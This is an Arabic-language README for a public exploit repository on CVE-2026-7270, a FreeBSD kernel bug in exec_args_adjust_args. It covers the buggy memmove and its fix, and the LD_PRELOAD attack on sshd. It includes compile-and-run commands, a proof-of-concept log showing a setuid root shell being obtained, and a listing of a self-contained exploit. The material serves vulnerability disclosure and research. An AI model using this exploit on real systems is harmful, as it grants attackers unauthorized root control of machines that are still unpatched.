
CVE-2026-7270 تصعيد الامتيازات المحلي في FreeBSD عبر exec_args_adjust_args OOB memmove
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
تصعيد صلاحيات محلي في FreeBSD عبر exec_args_adjust_args تجاوز ذاكرة memmove خارج الحدود
خطأ في أولوية العمليات في exec_args_adjust_args() (sys/kern/kern_exec.c، موجود منذ 2013) يسمح لأي مستخدم محلي بتصعيد صلاحياته إلى الجذر على تثبيت FreeBSD افتراضي مع تشغيل sshd. لا حاجة لملفات ثنائية suid، ولا وحدات kernel، ولا تغييرات في الإعدادات.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + should be - */
+ consume يجب أن تكون - consume. الإشارة الخاطئة تجعل memmove ينسخ 2 * consume بايت بدلاً من الصحيح endp - begin_argv - consume. مع argv[0] بحجم 265,185 بايت في تنفيذ shebang، يتجاوز memmove إدخال exec_map بحجم 528,384 بايت بمقدار 2,024 بايت إلى الإدخال المجاور — بدون تعطل، بدون إشارة، بدون خطأ صفحة.
يستغل الاستغلال سباق تجاوز memmove خارج الحدود ضد fork/execv الخاص بـ sshd على اتصالات TCP الواردة. يتم تنفيذ sshd-session من الجذر إلى الجذر بدون انتقال suid/sgid، لذا يعيد issetugid() القيمة 0 ويكرّم الرابط الديناميكي LD_PRELOAD. يضع الاستغلال LD_PRELOAD=/tmp/evil.so في إدخال exec_map الخاص بـ sshd-session؛ يعمل مُنشئ evil.so بمعرف المستخدم uid=0 ويسقط قشرة جذر suid في /tmp/rootsh.
تم الحصول على الجذر في الجولة 5,030، بعد حوالي 6 ثوانٍ من الإطلاق على جهاز افتراضي بمعالج 4 أنوية.
| الإصدارات المتأثرة | FreeBSD 11.0 حتى 14.4 (جميع الإصدارات؛ لا يوجد إصلاح في أي فرع حتى تاريخ الإفصاح) |
| المتطلبات الأساسية | قشرة محلية غير مميزة؛ sshd قيد التشغيل (افتراضي على FreeBSD) |
| الموثوقية | معدل نجاح ~0.6% لكل جولة؛ الجذر في ثوانٍ على نظام بمعالج 4 أنوية |
| تم اختباره | FreeBSD 14.4-RELEASE-p1 amd64، kernel GENERIC، 4 معالجات، 2GB RAM |
غيّر حرفًا واحدًا في sys/kern/kern_exec.c:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
على هدف FreeBSD 14.4، كأي مستخدم غير مميز:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... بضع ثوانٍ ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
تحت QEMU (مضيف macOS، يتطلب qemu وsshpass):
./run_poc.sh # يُقلع الجهاز الافتراضي، يُجمّع، يشغّل الاستغلال
./run_poc.sh run # إعادة التشغيل ضد جهاز افتراضي قيد التشغيل بالفعل
./run_poc.sh clean # إزالة آثار الجهاز الافتراضي
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p
[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...
| الملف | الوصف |
|---|
exec1_lpe21.c | استغلال مكتفٍ ذاتيًا — قم بتجميعه وتشغيله كمستخدم غير مميز |
run_poc.sh | أتمتة QEMU: يُقلع FreeBSD 14.4، ويُجمّع، ويشغّل الاستغلال |
WRITEUP.md | توثيق تقني كامل: تحليل الخطأ، بنية الاستغلال، تاريخ التطوير |
blog.md | سرد قصصي للاكتشاف وتطوير الاستغلال |
images/ | مخططات SVG: تخطيط exec_map، آلية النسخ الذاتي، نظرة عامة كاملة على الهجوم |